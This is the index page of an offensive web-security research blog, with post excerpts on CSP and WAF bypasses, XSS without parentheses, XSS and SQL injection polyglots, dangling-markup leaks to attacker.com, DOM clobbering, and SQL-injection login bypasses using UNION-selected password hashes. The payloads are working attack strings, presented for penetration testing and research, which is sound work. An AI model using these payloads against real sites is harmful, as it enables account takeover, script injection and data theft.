Project NZT-48 – Project NZT-48 :: Independent Scientific Research

form-action Content-Security-Policy Bypass And Other Tactics For Dealing With The CSP

~35 minute read

The Content-Security-Policy (CSP) is a widely adopted security defense designed to protect applications against content injection vulnerabilities such as XSS and HTML injection. Sometimes, these types of vulnerabilities become unexploitable and worthless due to the Content Security Policy.

Nowadays, there are many write-ups that show how to find a way around poorly configured policies. This post differs because it shows how to exploit applications even if the CSP is correctly configured. Some of these bypasses don't rely on any misconfigurations.

This post will begin by showing that very often the Content-Security-Policy is not adequately configured. Due to these super common configuration flaws, applications often remain vulnerable to dangerous attacks despite of having a CSP.

Later on, a form-action Content-Security-Policy bypass will be exposed. This attack doesn't rely on misconfigurations and works in a lot of scenarios. This means that whenever you encounter a well-configured CSP standing in your way to exploitation, this bypass will be your tactic to breach in (most of the time).

Browsers' security defenses against dangling markup injections were bypassed too: Dangling markup attacks were powerful content injection attacks that came in useful in situations where script execution is not allowed (e.g. blocked by the CSP). Because of this, browsers now have security defenses that block dangling markup attacks. Due to this mitigation, these attacks became dead and useless. The post will show how to bypass these browsers' security validations, resurrecting dangling markup attacks back from the dead. With one of these bypasses it is possible to exploit content injection vulnerabilities regardless of whatever the CSP configuration might be, it works even when facing the strictest configurations (e.g. everything set to 'none': default-src 'none'; form-action: 'none').

After a sample study of 300 of the most visited websites in the world, statistics have proven that there is a lot of ignorance regarding the correct use of the CSP: 82.6% of the policies have vulnerable configurations and, 87.5% of the well-configured policies can be bypassed with one of the attacks exposed in this post; this means that 98% of the policies can be defeated. It is very likely that if you have a web app that uses a Content Security Policy, its configuration is vulnerable.

Other tactics for dealing with the CSP will be shown too.

Possibly this post will illustrate multiple methods to transform those unexploitable code injection vulnerabilities into exploitable vulnerabilities.

(more…)

2025-01-19

Chaining XPath injections into DOM-based XSS

The way most web apps defend themselves against DOM-based Cross-Site Scripting is by validating input that later on is written into the DOM. Sometimes, web apps request data from APIs that is trusted because it didn't come from the user, so it isn't validated. This post will show a trick for tampering with data provided by APIs that didn't come from the user by using XPath injection. Since the data is not validated you can achieve DOM-based XSS.

This attack can be useful because implementations of XPath 1.0 have a very limited attack surface. Only with XPath 2.0 and XPath 3.1 more critical attacks become a possibility. Implementations of XPath 2.0 and 3.1 are not very popular so most web apps out there use version 1.0.

Since a lot of people don't know XPath very well, I'll provide the basics to demonstrate how XPath works in order to know how to exploit it.

The first step to scan a web app against XPath injections is by using boolean based conditions such as the followings:

/vulnerable_page?id=1' and '1'='1
/vulnerable_page?id=1' and '1'='0

/vulnerable_page?id=1" and "1"="1
/vulnerable_page?id=1' and "1"="0

/vulnerable_page?id=1 and 1=1
/vulnerable_page?id=1 and 1=0

(more…)

2025-05-15

Faster blind SQL injection exploitation: exfiltrating data without knowing the column names of the tables

(7 min read)

In the exploitation phase after finding SQL injection vulnerabilities, attackers usually exfiltrate all the information stored in the database. But first, in order to exfiltrate all of the information stored in the tables of the DB, the attacker must previously know the column names that compose those tables.

This post will show a method for extracting all the information contained in a table/view without having to know the name of any of its columns at all.

This method can significantly speed-up the exfiltration process, specially in situations where information must be extracted one character at a time as with blind injections. See the following query done in a fresh install of MySQL:

mysql> select count(*) from information_schema.columns;
+----------+
| count(*) |
+----------+
| 3542 |
+----------+
1 row in set (0.12 sec)

This means that a total of 3,542 column names must be extracted in order to be able to craft the queries that will exfiltrate the tables. Next, see the total of all the characters that must be extracted:

mysql> select sum(length(column_name)) from information_schema.columns;
+--------------------------+
| sum(length(column_name)) |
+--------------------------+
| 47026 |
+--------------------------+
1 row in set (0.02 sec)

There is a total of 47 thousand characters that must be extracted to find all the column names in a fresh MySQL install. sqlmap performs 7 requests to extract a single character with blind SQL injections, this means that it would take a total of 329,182 requests to exfiltrate all of the column names.

A database found in a corporate or industrial environment can be extremely larger.

So now, with the method described in this post, around 188,000 requests are going to be avoided and the tables and views will be exfiltrated right away.

(more…)

2025-04-23

Running javascript without using parentheses

(5 minute read)

When trying to exploit XSS, filters/WAFs that forbid the use of parentheses are one of the toughest limitations I have come across, mainly due to the fact that sometimes all sorts of escapes and encodings are blocked.

Portswigger researcher Gareth Heyes (@garethheyes) even dedicated an entire chapter of his latest book "JavaScript for hackers" to illustrate different methods of running javascript that does not use parentheses. However, this post is not going to go over Gareth's techniques.

The easiest way to avoid parenthesis is by using grave accents:

alert``

However, these are also blocked very often.

Another thing you can do is to find a way to evaluate a string so that the parentheses can be escaped and/or encoded. Some functions that do this are:

eval('alert\x28 0 \x29');
setTimeout('alert\x28 0 \x29', 0);
Function('alert\x28 0 \x29')();

However, the invocation of such functions needs parentheses as well.

The solution is to use javascript: protocol URLs, these can be assigned to window.location or document.location just like any other variable assignment.

window.location = 'javascript: alert(0)';
window.location = 'javascript: alert\x28 0 \x29';

What happens if all possible escapes and encodings are blocked as well?
( \x28 \x29 \u0028 \u0029 \u{28} \u{29} \u{00000028} \u{00000029} \50 \51 )

Place the payload in the location hash and just assign location to itself.

location = 'javascript:/*' + location;
or
location = 'javascript:/*' + location.hash;

The payload goes after the location.hash after a comment-terminator */. This is the best way to go because it means it will never reach the server-side and the WAF will not see it.

https://vulnerable.com/?xss=<img src onerror="location='javascript:/*' + location;" />#*/ alert(0);alert(1);

Another way to do it would be to use a single-line comment // like this:

https://vulnerable.com/?xss=<img src onerror="location='javascript://' + location;" />#%0a alert(0);alert(1);

The double-slash (//) after the javascript: protocol is a single-line comment that comments-out the whole URL until it reaches the new-line %0A after the #, the %0A gets decoded into a new-line breaking out of the single-line comment, then the payload follows and is executed. If the cross-site scripting is server-side the payload doesn't reach the server.

The idea behind this type of attack vector came from Eduardo Vela's and David Lindsay's Black Hat 2009 presentation.
https://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf (slide 18 and 22) Originally the code was meant to be evaluated with eval() which requires the use of parenthesis, but by tweaking it out a little parentheses can be avoided.

2024-10-31

SQL injection filter evasion cheat sheet

A guide for bypassing WAFs/IDS.

Index

(more…)

2024-10-25

Bypassing Browsers' Defenses Against Dangling Markup Injections

(8 minute read)

Some time ago, whenever script execution was being blocked by the Content-Security-Policy, an easy way to find a way around it was to perform dangling markup injection attacks. Dangling markup injections are scriptless attacks, an alternative to XSS for exfiltrating information from a web page.

Nowadays, some web browsers such as Google Chrome and Microsoft Edge have built-in security defenses that attempt to block these types of attacks. This blog post will expose three bypasses for these security defenses.

Dangling markup injection attacks are very simple. Imagine a web page that has an HTML injection vulnerability like the following example:

An HTML tag with an unclosed attribute is injected into the page. The unclosed attribute consumes the web page's content until it finds a matching closing quote.

When the request is made the URL will leak the document's content.

In this example a <link> tag was used to request a stylesheet from a foreign server which is logging incoming requests and waiting for the leaked data to arrive. But any HTML tag that performs an HTTP request will do, such as <img> or <iframe>. And really HTML is not the only option, CSS code could be used too in a scenario where style injection is feasible. CSS functionality such as background-image: url('http://attacker.com/?log= or @import could be used to force the browser to initiate an HTTP request.

Actually there's a github site named HTTPLeaks that lists all possible ways in which a browser can leak data through HTTP requests.

However things have changed through time and now most browsers implement defenses in an attempt to stop these types of attack; whenever an URL is rendered, the parser looks for certain dangerous patterns such as angle brackets < > and new lines (%0A %0D). If this combination of characters is found, then the request is blocked by the browser because it seems as if the document is being leaked through the URL. It is possible to see the blocked request in the dev-tools network panel:

I tested different dangling injections in different browsers. Chrome, Chromium, Edge and Opera are indeed blocking the exfiltrating request. However for some reason Firefox (v. 124) is not implementing such defense.

Since the dangling injections only work in Firefox, my goal was to find a way to make them work in other browsers too. I found a commit diff in Chromium's source code that illustrates the defense mechanism. Then, after looking some more, I found a security vulnerability report from 2017 that exposes a bypass for the request blocker. I was very lucky because I tested the attack vector in the other browsers and it successfully leaked the data.

I also found 2 more bypasses that work in all major browsers as well:

(more…)

2024-04-02

HTML elements can overwrite javascript variables

(4 minute read)

For those who don't know, DOM Clobbering is a relatively new vulnerability discovered a while ago, I don't no precisely by whom, but researcher Dr. Mario Heiderich presented it in his talk "In the DOM, no one will here you scream." With this attack it is possible to overwrite variables used by the javascript code of a page by injecting certain HTML elements, as a result the behavior of the script will change.

Michał Bentkowski found a XSS vulnerability in Gmail by using DOM Clobbering:
https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Javascript variables can be overwritten by HTML elements that use the id and name attributes. No need to use event handlers nor javascript, this is HTML only:

The problem here is that some applications accept certain HTML from the user, and while some dangerous attributes as onload/onerror/onclick are always removed, id and name are not always considered dangerous.

I wanted to find out which HTML elements are able to overwrite javascript variables.

The id and name attributes sometimes clobber window object properties, and some others clobber document object properties. I thought it would be useful to know specifically which combination of elements and attributes clobber those objects.

These are the results I got in Chrome, Firefox and Edge:

embed elements:
<embed id="x" name="y" />
window.x
window.y
document.y

form elements:
<form id="x" name="y">
window.x
window.y
document.y

iframe elements:
<iframe id="x" name="y">
window.x
window.y
document.y // Not clobbered in Firefox

image elements:
<image id="x" name="y">
window.x
window.y
document.x
document.y

img elements:
<img id="x" name="y">
window.x
window.y
document.x
document.y

object elements:
<object id="x" name="y">
window.x
window.y
document.x
document.y

The following elements cannot do clobbering:

'body'
'caption'
'col'
'colgroup'
'frame'
'frameset'
'head'
'html'
'tbody'
'td'
'tfoot'
'th'
'thead'
'tr'

All other existing and non-existing elements clobber window properties through the id attribute.

Another good and quick read is a post written by PortSwigger researcher Gareth Heyes in which he used DOM Clobbering to bypass the Content Security Policy (5 to 10 minute read):
https://portswigger.net/research/bypassing-csp-via-dom-clobbering

2024-03-20

Tool for scanning the Import and Export tables in Windows binaries.

(1 minute read)

If you find a vulnerability in a DLL or in any Portable Executable file it would be a good idea to locate all the binaries that use that particular vulnerable function so that you can exploit all those binaries.

I wrote a tool that searches for a specific string in the Import and Export tables of all the Windows binaries located under a given directory. It is a very practical and convenient way to find which binaries make use of a function you know how to exploit.

The script is written in Python and you can find it here:
https://github.com/tr3w/PElookup.py

2024-02-28

Tool for finding RPO vulnerabilities, a new type of vulnerability

(2 minute read)

Gareth Heyes (@garetheheyes) discovered a new type of vulnerability which is extremely lethal because it is still relatively unknown and many developers don't know how to validate input to protect against this new type of attack.

It makes it possible to inject CSS code anywhere in the page without having to use <style> tags. In fact, there is no need to use angle braces (< >) nor any HTML tag.

I find it very strange that this vulnerability was disclosed some years ago and it still remains very unpopular.

You can see Gareth's amazing post about his new find in:
http://www.thespanner.co.uk/2014/03/21/rpo/

This vulnerability is also documented in PortSwigger:
https://portswigger.net/research/detecting-and-exploiting-path-relative-stylesheet-import-prssi-vulnerabilities

I decided to write a tool to find these vulnerabilities quickly, because most scanners do not detect RPOs. Burp's scanner does detect it but only in the Professional and Enterprise versions; the free version does not.

You can find the tool in:
http://github.com/tr3w/RPOwn

Here are some resources to very clever research about RPO exploitation:

https://www.mbsd.jp/Whitepaper/rpo.pdf

Soroush Dalili discovered a super clever technique to exploit this vulnerability that greatly increases its attack surface.

https://soroush.me/blog/2015/02/non-root-relative-path-overwrite-rpo-in-iis-and-net-applications/

Since RPO exploitation is mainly done with CSS attacks, I decided to post some links to amazing resources describing different methods of performing CSS attacks:

@sirdarckcat's attribute reader:
http://eaea.sirdarckcat.net/cssar/v2/

@kinugawamasato text node reader:
https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html

@SecurityMB font ligatures:
https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/

@SecurityMB Data exfiltration in Firefox via single injection point:
https://research.securitum.com/css-data-exfiltration-in-firefox-via-single-injection-point/#:~:text=Firefox%20and%20stylesheet%20processing

Pepe Vila recursive imports technique:
https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231

@d0nutptr recursive import exfiltration tool:
https://github.com/d0nutptr/sic

Mario Heiderich presentation on scriptless attacks:
https://www.slideshare.net/x00mario/stealing-the-pie

2023-08-13

LoginCrack.py - More Methods For Breaking Web Logins

(6 minute read)

Most of the time, logins are not being properly tested against SQL injection and critical security vulnerabilities could be left undetected. It is not admissible to miss any security vulnerability during a pen-test because somebody else might find the bug and exploit it.

The objective of this post is to illustrate additional methods for finding SQL injection vulnerabilities, because the traditional ways sometimes fail to detect all the vulnerabilities.

So far, I have found 3 web applications vulnerable to the attack explained in this post.

When probing the security of web logins, the following injections are always used:

' or '1'='1
" or "1"="1

Very often, only these injections are tested and if they fail it is assumed that the login is not vulnerable. However, there is a vast amount of other types of injections that should also be tried to correctly determine if the login is vulnerable or not.

Imagine that the login code resembles to the following:

Query:
$result = "SELECT password FROM users WHERE login='$login'";

Then on the server-side:
if ($result['password'] == $_POST['password']) Access_Granted();

Even if the login is vulnerable, traditional ' or 1='1 injections will fail to bypass it: even though the injection works and user data is being returned, the attacker still needs to know the correct password for the condition to succeed.

The injection for testing the login should now be:
' AND 0 UNION SELECT 'letmein

Resulting query:
SELECT password FROM users WHERE login='' AND 0 UNION SELECT 'letmein'

Thus the attacker can login with whatever password he wants to use.

The process of exploiting these types of login requires a big amount of work and can be time consuming, consider the following vulnerable query:

SELECT * FROM users WHERE username='$_POST["username"]';

The asterisk might return dozens of columns and since the number of columns in the UNION query should match, first the number of columns queried should be found:

Brute-force injection:
admin' AND 0 UNION SELECT 1 AND 'TRUE
admin' AND 0 UNION SELECT 1,1 AND 'TRUE
admin' AND 0 UNION SELECT 1,1,1 AND 'TRUE
admin' AND 0 UNION SELECT 1,1,1,1 AND 'TRUE
admin' AND 0 UNION SELECT 1,1,1,1,1 AND 'TRUE
...
admin' AND 0 UNION SELECT 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 AND 'TRUE
....

This can be tedious to brute-force manually specially if the query is trying to retrieve a huge number of columns.

Also, it is very common for passwords to be stored in the database as a cryptographic hash, which means that the password provided in the login form is going to be hashed in order to be compared with the one returned by the query; this means that injections like this should be tried as well:

Hashed password injection: # MD5 hash admin' AND 0 UNION SELECT '5f4dcc3b5aa765d61d8327deb882cf99' AND 'TRUE admin' AND 0 UNION SELECT '5f4dcc3b5aa765d61d8327deb882cf99', '5f4dcc3b5aa765d61d8327deb882cf99' AND 'TRUE admin' AND 0 UNION SELECT '5f4dcc3b5aa765d61d8327deb882cf99', '5f4dcc3b5aa765d61d8327deb882cf99', '5f4dcc3b5aa765d61d8327deb882cf99' AND 'TRUE admin' AND 0 UNION SELECT '5f4dcc3b5aa765d61d8327deb882cf99', '5f4dcc3b5aa765d61d8327deb882cf99', '5f4dcc3b5aa765d61d8327deb882cf99', '5f4dcc3b5aa765d61d8327deb882cf99'... AND 'TRUE ... # SHA1 hash admin' AND 0 UNION SELECT '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8' AND 'TRUE admin' AND 0 UNION SELECT '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8' AND 'TRUE admin' AND 0 UNION SELECT '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8' AND 'TRUE admin' AND 0 UNION SELECT '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8'... AND 'TRUE .... # SHA-224 admin' AND 0 UNION SELECT 'd63dc919e201d7bc4c825630d2cf25fdc93d4b2f0d46706d29038d01','d63dc919e201d7bc4c825630d2cf25fdc93d4b2f0d46706d29038d01',... AND 'TRUE # SHA-256 admin' AND 0 UNION SELECT '5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8', '5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8',... AND 'TRUE # SHA-384 admin' AND 0 UNION SELECT 'a8b64babd0aca91a59bdbb7761b421d4f2bb38280d3a75ba0f21f2bebc45583d446c598660c94ce680c47d19c30783a7',... AND 'TRUE # SHA-512 admin' AND 0 UNION SELECT 'b109f3bbbc244eb82441917ed06d618b9008dd09b3befd1b5e07394c706a8bb980b1d7785e5976ec049b46df5f1326af5a2ea6d103fd07c95385ffab0cacbc86',... AND 'TRUE # Base 64 admin' AND 0 UNION SELECT 'cGFzc3dvcmQ=', 'cGFzc3dvcmQ=', 'cGFzc3dvcmQ=', 'cGFzc3dvcmQ='... AND 'TRUE

The number of columns has to be brute-forced with every possible hash function and then all of these injections must be tried again with double quotes instead of simple quotes to determine if the login is in fact vulnerable. As far as I know, there are no tools that exploit these type of login logic so I decided to write my own. So far I have found 3 applications that had this security bug and I don't want to miss it in any future security evaluation.

The tool was written in python and it uses Selenium with the Chrome web driver; make sure to install those to get it running.

$ pip install selenium

In the header of the script there is an array containing all the hashing functions tested against the login. You can add more functions such as nested hashes or other cryptographic functions to extend the scope of the security testing.

You can find logincrack.py HERE.

Authentication bypass by leaving the password field blank

A very funny vulnerability happens when it is possible to login as any user in the app by leaving the password input field blank. So far I have found 2 web apps vulnerable to this kind of authentication bypass.

In the username input field the attacker enters the user he wants to login as and the password field is left empty. A little bit of javascript can be used to force form submission in case there happens to be a client-side validation preventing from submitting a login form with an empty password:

javascript:document.forms[0].submit()

The application grants you access as the entered username!

These vulnerabilities were found using a black-box approach so I never read the source-code. However, the issue was probably that the database query returns no rows because the blank password doesn't yield any matches, then when the empty result is compared with the empty password the comparison yields TRUE and the condition succeeds.

So don't forget to try an empty password! You might get lucky.

2023-08-09

High Speed Methods For Blind SQL Injections

I came to the conclusion that the blind SQL injection techniques we use for data exfiltration are slow, and there is huge room for improvement to make them much faster and efficient.

I spent some time designing new high-speed optimized blind SQL injections and I wrote a paper where I documented all of these techniques. The research got accepted to be presented at various security conferences such as Hackfest Quebec, B-Sides Philly, BugCON Mexico, DragonJAR Colombia and Hack in Paris (which I missed because I was severely jet-lagged and I feel very ashamed to say so).

duality.py, one of these optimized attacks, uses inferential algorithms that request only certain fragments of the information and deduce the missing data through the use of decision-making trees. This method takes an average of 30% less requests than the famous tool sqlmap to exfiltrate information from a database. This and more blind SQL injection techniques are explained in this paper.

You can find the paper in .txt format here:
https://nzt-48.org/Papers/high-speed-methods-for-blind-sql-injections.txt

For a self-explanatory and condensed version of the paper, you can find the slides of the talk here (the slides are numerous but most of them are just the same slide with different highlighted values):
https://nzt-48.org/slides/high-speed-methods-for-blind-sql-injections.pdf

These are some screenshots of the slides to make the post look cool:

2023-08-04

Bypasses for the some of the most popular WAFs

EDIT: Most of these bypasses have already been patched. Whereas some of the tricks shown in this post can be used to find new bypasses, this will only work on very few WAFs and other types of techniques should be use to bypass most of them.

In Black Hat 2009 I had the honor of personally meeting @sirdarckcat (Eduardo Vela, leader of Google Project Zero) who gave a presentation titled "Our favorite XSS filters and how to attack them". In his presentation he managed to bypass every single popular Web Application Firewall that was in the market at that time and he said it had been ridiculously easy.

The conclusion of his talk was that all Web Application Firewalls (WAFs) were practically useless at that time due to the tremendous ease in which they could be bypassed.

Now, more than ten years later, I decided to evaluate the security of many popular WAFs to see their evolution and how robust they've become over time. The conclusion is that most of them are still extremely vulnerable. They are very easy to bypass so the degree of protection they offer is very low; I broke each WAF in around 5 minutes.

I decided to publish the bypasses because it is actually funny how bad these filters are.

The WAFs that I tested are:

[censored]
[censored]
[censored]
[censored]
[censored]
[censored]
[censored]
[censored]
[censored]

Click on more to see the bypasses:

(more…)

2023-08-03

XSS filter/WAF evasion through invalid escapes

(2 minute read)

Most of the time, WAFs and XSS filters look for specific keywords to detect invocation of dangerous functions or variables.

/page?parameter=alert()
403 FORBIDDEN

A very common bypass technique is to break these specific character sequences like this:

window.alert() can also be written using square-bracket notation: window['alert']()

This is very useful because now the alert method is a string, this means that it can be obfuscated using all kinds of string functions:

window['ale' + 'rt'](1)
window['alexrt'.replace(/x/,'')](1)

Several years ago I found a nice feature in javascript that allows the attacker to break character sequences in a very easy, quick and shorter way. This is done by escaping characters that do not have an escape sequence assigned. For instance, these are valid escapes in javascript:

\' Simple quote
\" Double doble
\ Backslash
\n New line
\r Carriage return
\v Vertical tab
\t Tab
\b Backspace
\f Page forward

Those characters will be escaped to their corresponding values if you add a backslash before them.

If you use a backslash before any other character javascript will simply ignore the backslashes, so the string will be broken while still preserving its meaning:

window['\a\l\ert'](1)
window['\pr\o\m\pt'](1)

Hopefully this will help to speed-up the process of evading WAFs.

2023-07-28

Modern XPath Exploitation

In addition to XXE vulnerabilities, XPath injections are another type of attack used to exploit XML technologies.

Following the release of XPath 2.0 and XPath 3.1 I read the specifications to see if the new features could be used to deploy new types of attacks. Turns out that these new XPath implementation did introduce new threats and new risks that expand the attack surface of XPath vulnerabilities.

Some of these new risks are:
- Arbitrary file disclosure
- Turn blind injections into visible injections
- Server Side Request Forgery
- Turn XPath injections into XSS

I wrote a .txt for your convenience and you can find it here:
https://nzt-48.org/Papers/modern-xpath-exploitation.txt

The paper also explains highly optimized algorithms for exfiltrating server files through XPath injections.

If you prefer to read the paper in this blog post, click on "more"

A tool was released as a proof of concept and you can find it here:
https://github.com/tr3w/injectX

(more…)

2023-07-21

Using XSS Polyglots For Detecting Blind XSS Vulnerabilities

( < 5 minute read)

Awesome security researcher @filedescriptor (a member of Cure53 who never uses his real name to remain anonymous) ran a XSS challenge in which competitors had to craft a XSS polyglot that works across 16 different contests:

<div>{{payload}}</div>
<div {{payload}}>text</div>
<div class="{{payload}}">text</div>
<div class='{{payload}}'>text</div>
<div class={{payload}}>text</div>
<title>{{payload}}</title>
<textarea>{{payload}}</textarea>
<style>{{payload}}</style>
<script>"{{payload}}"</script>
<script>{{payload}}</script>
<script>"{{payload}}"</script>
<script>'{{payload}}'</script>
<a href="{{payload}}">text</a>
<script>// {{payload}}</script>
<script>/* \n{{payload}}} \n*/</script>

Among the winners of this challenge I recognized some names such as @orenhafif Facebook Security Engineer who won 1st place, and in 2nd there is @molnar_g Google Security Engineer. It was actually a tie, they both crafted a payload 87 characters long.

I did send a submission but I didn't figure among the top contestants. 6 years later I spent a day trying to see if I could shorten my vector and to my big surprise I managed to make a vector 3 bytes shorter than the winning vectors!

javascript:/*</title></textarea></style --> </script><a/onclick='//"/**/%0aalert()//'>

These polyglots are particularly useful for detecting blind XSS vulnerabilities.

I decided to improve it so that it works in every possible context:

The resulting vector is:

javascript:/*</title></textarea></style --></xmp></script></noembed></noscript></math><svg/onload='//"/**/%0aonmouseover=alert()//'>

You can also add a ${{7*7}} at the very end to test against template injections as well.

Besides for Blind XSS, this vector is also good for optimizing the process of finding regular cross-site scripting vulnerabilities. Instead of having to send 21 requests to each parameter when testing an application, you only have to make 1 request. This gets the job done in approximately only 5% of the time.

Can you make it even shorter? Let me know in the comments or through X (@ruben_v_pina)

2023-07-12

SQL Injection Detection Optimization

(3 minute read)

For Black Hat 2013, Roberto Salgado (@LightOS) came up with the idea of optimizing the detection phase of SQL injection vulnerabilities.

Usually, to test if a parameter is vulnerable to SQL injection, the following requests must be performed to find out the context of the injection. It might be between single quotes ('), double quotes (") or with no delimiters at all:

TRUE RESPONSES
-1' or '1'='1
-1" or "1"="1
-1 or 1=0

FALSE RESPONSES
-1' or '1'='0
-1" or "1"="0
-1 or 1=0

LightOS came up with the idea of fusing the three testing vectors. This is the multi-context functional polyglot that works in any of the already three mentioned contexts:

-1 OR 1#"or"'OR''='"="'OR''='

Numeric context:
-1 OR 1#"or"'OR''='"="'OR''='

Double quotation:
-1 OR 1#"or"'OR''='"="'OR''='

Single quotation:
-1 OR 1#"or"'OR''='"="'OR''='

You can find his slides in the following link: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf

Mirror: https://nzt-48.org/archive/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf

My version of the vector is 7 characters shorter:

-1 or 1#'or"or'"!='!="

Numeric context:
-1 or 1#'or"or'"!='!="

Single quotation:
-1 or 1#'or"or'"!='!="

Double quotation:
-1 or 1#'or"or'"!='!="

I find LightOS's solution to be much more elegant because he used an equality. Can make it even shorter?

Hello world!

The intention of this blog is to contribute with new research.

Enjoy your 0xcafe

2023-07-11